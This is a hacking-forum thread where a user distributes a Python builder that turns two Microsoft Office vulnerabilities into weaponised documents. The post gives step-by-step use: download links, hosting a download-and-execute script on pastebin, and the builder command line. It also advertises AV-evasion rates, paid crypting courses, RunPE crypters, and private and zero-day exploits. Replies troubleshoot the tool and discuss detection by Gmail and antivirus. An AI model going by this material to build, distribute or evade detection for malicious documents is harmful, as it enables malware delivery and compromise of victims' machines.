[exelab]

HAPPY NEW YEAR 2019 TO ALL 🎉 👍

I come back with new version of cve2018-0802 + cve2017-11882 with new obfuscation - small ouput size

size will keep changing in each build and each build is different duo to polymorphism dynamic max size is 600kb

the detection rate is min 5/35 > 7/35

i noticed that some ppl could not modified the CMD in my last release so in this it will be easier all you need to put your script at pastebin
and use it in builder

lets start

First download the python builder :

https://mega.nz/#!KvwUjKwB!7wuNLkM5MHGrR...N_m080xgFE

https://www.sendspace.com/file/dabbtw

http://s000.tinyupload.com/index.php?fil...7560346919

https://ufile.io/jlk3n

then go pastebin and add your download/exec script
its easy to do it , this script that execute calc.exe for test i hosted there : https://pastebin.com/raw/gkrza1mU

now open cmd/dos and go to the python builder path
then type CMD : 2019.py https://pastebin.com/raw/gkrza1mU i



Detection rate :



HaVe FuN !!

PS : I am also offering Paid courses/teaching on how to obfuscated/crypting python sources / scripts incl macro codes
I will teach you how to crypt the objdata/header and gathering the content such as the dropped files and crypting and embed it back to bypass the runtime detections Also if you got specific script wanna obfuscating it

The private Versions :
1. i got completely silent office exploit scantime/runtime this not like all other macro bullshit that ppl selling on HF this is cve2018-0802 + cve2017-11882 in one python builder it support all OS and till office version 2016 and earlier

2. Private excel its also work till 2016 and all OS the good thing in this one its bypass the enable content filter in office when file downloaded from internet

3. This one is not patched/0day but this is not available for sale for everyone
VIDEO : https://youtu.be/o2z62xZfgns

PS : i am also doing custom code crypter coded by delphi its real runtime crypter using RUNPE memory execution

contact me in private but PS : DO NOT CONTACT ME ASKING FOR FREE VERSION and Do NOT contact me if you got low budget coz i got nothing for low budget

PM ME or
EMAIL: [email protected]
Jabber: [email protected]

[Swoozy]

Amazing, great release. Hope to see you around. :)

[LopezMe]

Awesome Thank You!
Happy new year :))

[Iera Namhorun]

for what version of microsoft word is this
? can the ouput just for CVE-2018-0802 ?

---

it's not work,
pasteboard co/HVi3a00.png

[exelab]

for what version of microsoft word is this
? can the ouput just for CVE-2018-0802 ?
it's not work,
pasteboard co/HVi3a00.png

its work on all OS , and office till 2016

and u using wrong script opening this HTA file its mean it wrong but u typed wrong vbs script
use this one for test : https://pastebin com/raw/gkrza1mU i

[xrahitelvip]

не работает он.............

[exelab]

это работает на 100%.................................

[xrahitelvip]

скинь код vbs чтоб работал...

[KingCoin]

Dont touch this

trust me....

[exelab]

Dont touch this

trust me....

no . no one will trust till u provide solid proof and show us how come this python builder is infected !!

---

there is just one prob here , i dunno how those ppl give lame negative Popularity without anything , and there is many ppl could not give +rep !!.

how this happen ?!

[***W0lf***]

Its working but now it's not anymore UD, can't bypass gmail

[exelab]

av vendors will add signature to any new encryption release for public from these kind of exploits

do it by urself or get a private one

[One]

av vendors will add signature to any new encryption release for public from these kind of exploits

do it by urself or get a private one

do you think office exploit will still work on office 2019 ????????????

[exelab]

do you think office exploit will still work on office 2019 ????????????

no my friend the microsoft had fixed the way objects are handled in memory in office 2019 so cve2018-0802 or cve2017-11882 wont work on it and anyone telling you otherwise than that be sure 100% that he is fake :)

but there is other cve's that work on it like cve2018-8504 / cve2018-8414 , also got 0day expl work on it
but all those is non-public exploits and not cheap

those cve's exploits support from 2007 till 2016 only

[stalee]

EXELAB your exploit stopped working , and you are not responding to my messages
Not serious